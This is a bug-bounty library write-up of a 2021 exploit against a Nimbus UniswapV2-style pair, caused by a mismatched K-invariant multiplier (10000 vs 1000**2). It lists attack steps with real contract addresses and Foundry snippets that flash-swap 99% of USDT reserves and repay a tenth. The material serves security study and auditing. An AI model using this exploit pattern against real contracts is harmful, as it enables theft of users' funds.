# Nimbus Platform: K-check multiplier mismatch drains USDT pair

Nimbus pair's K-invariant check used 10000 vs 1000 multiplier mismatch, letting attacker swap out 99% of USDT reserves for a tenth repayment.

- Payout: Real-world hack
- Severity: high
- Program: Nimbus Platform
- Analysis by: DeFiHackLabs
- Disclosed: 2021-09-15
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-09/Nimbus_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210915-nimbus
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** UniswapV2-style liquidity pair contract (0xc0A6...DDc1) holding USDT
**Root cause:** The swap invariant check multiplies balances by 10000 but compares against reserves multiplied by 1000**2, so the required repayment is far smaller than intended, breaking the constant-product invariant.
**Steps:**
1. Fork mainnet at block 13225516; pair=0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1, usdt=0xdAC17F958D2ee523a2206206994597C13D831ec7
2. Compute amount = USDT balance of pair * 99 / 100
3. Call `IUniswapV2Pair(pair).swap(amount, 0, address(this), abi.encodePacked(amount))`
4. In swap callback `NimbusCall`, repay only `amount0 / 10` USDT via `IERC20Custom(usdt).transfer(pair, amount0 / 10)`
5. Keep the remaining ~90% of borrowed USDT as profit
**How found:** Code review of the pair's swap invariant: noticing the balance multiplier 10000 was inconsistent with the reserve multiplier 1000**2, making the K requirement trivially satisfiable with partial repayment.
**Exploitation:** Attacker flash-swaps out 99% of the pair's USDT, then in the callback repays only one tenth of the borrowed amount; the flawed K check (10000 vs 1000**2) accepts the under-repayment, leaving the attacker with the difference.
**Insight:** When auditing UniswapV2 forks, diff the K-check constants: balance multipliers must match the reserve multiplier squared (e.g. 10000 vs 1000**2). A single mismatched constant lets a swap repay a fraction and still pass.

## Proof of concept (copied exactly from the original report)

**Foundry test calling pair.swap to drain USDT**

```
uint256 amount = IERC20(usdt).balanceOf(pair) * 99 / 100;
        IUniswapV2Pair(pair).swap(amount, 0, address(this), abi.encodePacked(amount));
```

**Callback repaying only 10% of borrowed amount**

```
function NimbusCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        IERC20Custom(usdt).transfer(pair, amount0 / 10);
```

